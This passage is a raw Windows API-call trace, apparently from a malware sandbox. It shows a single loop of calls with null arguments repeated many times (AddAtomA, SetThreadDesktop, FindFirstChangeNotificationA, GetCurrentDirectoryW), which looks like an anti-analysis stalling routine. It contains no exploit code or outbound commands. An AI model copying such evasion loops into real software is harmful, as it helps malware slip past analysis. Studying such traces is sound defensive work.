lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.377] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.377] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.377] GetLastError () returned 0x3 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] AddAtomA (lpString=0x0) returned 0x0 [0098.377] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.378] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.378] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.378] GetLastError () returned 0x3 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] AddAtomA (lpString=0x0) returned 0x0 [0098.378] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.379] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.379] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.379] GetLastError () returned 0x3 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.379] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.379] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.379] GetLastError () returned 0x3 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.379] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.379] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.379] GetLastError () returned 0x3 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.379] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.379] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.379] GetLastError () returned 0x3 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.379] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.379] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.379] GetLastError () returned 0x3 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.379] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.379] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.379] GetLastError () returned 0x3 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] AddAtomA (lpString=0x0) returned 0x0 [0098.379] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] AddAtomA (lpString=0x0) returned 0x0 [0098.380] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.380] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.380] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.380] GetLastError () returned 0x3 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.381] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.381] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.381] GetLastError () returned 0x3 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.381] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.381] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.381] GetLastError () returned 0x3 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.381] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.381] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.381] GetLastError () returned 0x3 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.381] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.381] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.381] GetLastError () returned 0x3 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.381] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.381] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.381] GetLastError () returned 0x3 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] AddAtomA (lpString=0x0) returned 0x0 [0098.381] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.381] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.381] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.382] GetLastError () returned 0x3 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.382] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.382] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.382] GetLastError () returned 0x3 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.382] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.382] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.382] GetLastError () returned 0x3 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.382] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.382] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.382] GetLastError () returned 0x3 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.382] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.382] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.382] GetLastError () returned 0x3 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.382] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.382] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.382] GetLastError () returned 0x3 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] AddAtomA (lpString=0x0) returned 0x0 [0098.382] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.383] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.383] GetLastError () returned 0x3 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] AddAtomA (lpString=0x0) returned 0x0 [0098.383] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.383] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.384] GetLastError () returned 0x3 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] AddAtomA (lpString=0x0) returned 0x0 [0098.384] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.384] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.384] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.385] GetLastError () returned 0x3 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.385] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.385] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.385] GetLastError () returned 0x3 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.385] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.385] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.385] GetLastError () returned 0x3 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.385] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.385] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.385] GetLastError () returned 0x3 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.385] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.385] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.385] GetLastError () returned 0x3 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.385] AddAtomA (lpString=0x0) returned 0x0 [0098.412] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.412] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.412] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.412] GetLastError () returned 0x3 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.412] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.412] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.412] GetLastError () returned 0x3 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.412] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.412] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.412] GetLastError () returned 0x3 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] 